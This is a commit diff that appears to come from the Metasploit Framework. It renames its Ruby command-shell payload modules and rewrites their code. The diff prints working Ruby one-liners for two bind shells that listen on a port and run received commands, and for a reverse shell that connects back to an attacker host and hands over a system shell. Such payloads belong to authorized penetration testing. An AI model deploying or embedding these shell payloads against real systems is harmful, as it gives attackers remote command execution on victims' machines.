Skip to content

Commit 88b0808

Browse files
author
HD Moore
committed
Renamed and made more robust
1 parent 19dad35 commit 88b0808

File tree

4 files changed

+7
-7
lines changed

4 files changed

+7
-7
lines changed

lib/msf/ui/console/command_dispatcher/exploit.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -249,7 +249,7 @@ def self.choose_payload(mod, target)
249249
'java/meterpreter/reverse_tcp',
250250
'php/meterpreter/reverse_tcp',
251251
'php/meterpreter_reverse_tcp',
252-
'ruby/reverse_tcp',
252+
'ruby/shell/reverse_tcp',
253253
'cmd/unix/interact',
254254
'cmd/unix/reverse',
255255
'cmd/unix/reverse_perl',

modules/payloads/singles/ruby/bind_tcp.rb renamed to modules/payloads/singles/ruby/shell/bind_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Ruby Command Shell, Bind TCP',
2121
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
22-
'Author' => 'kris katterjohn',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
2323
'License' => MSF_LICENSE,
2424
'Platform' => 'ruby',
2525
'Arch' => ARCH_RUBY,
@@ -35,6 +35,6 @@ def generate
3535
end
3636

3737
def ruby_string
38-
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
38+
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
3939
end
4040
end

modules/payloads/singles/ruby/bind_tcp_ipv6.rb renamed to modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Ruby Command Shell, Bind TCP IPv6',
2121
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
22-
'Author' => 'kris katterjohn',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
2323
'License' => MSF_LICENSE,
2424
'Platform' => 'ruby',
2525
'Arch' => ARCH_RUBY,
@@ -35,6 +35,6 @@ def generate
3535
end
3636

3737
def ruby_string
38-
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
38+
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
3939
end
4040
end

modules/payloads/singles/ruby/reverse_tcp.rb renamed to modules/payloads/singles/ruby/shell/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Ruby Command Shell, Reverse TCP',
2121
'Description' => 'Connect back and create a command shell via Ruby',
22-
'Author' => 'kris katterjohn',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
2323
'License' => MSF_LICENSE,
2424
'Platform' => 'ruby',
2525
'Arch' => ARCH_RUBY,
@@ -37,6 +37,6 @@ def generate
3737
def ruby_string
3838
lhost = datastore['LHOST']
3939
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
40-
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
40+
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
4141
end
4242
end

0 commit comments

Comments
 (0)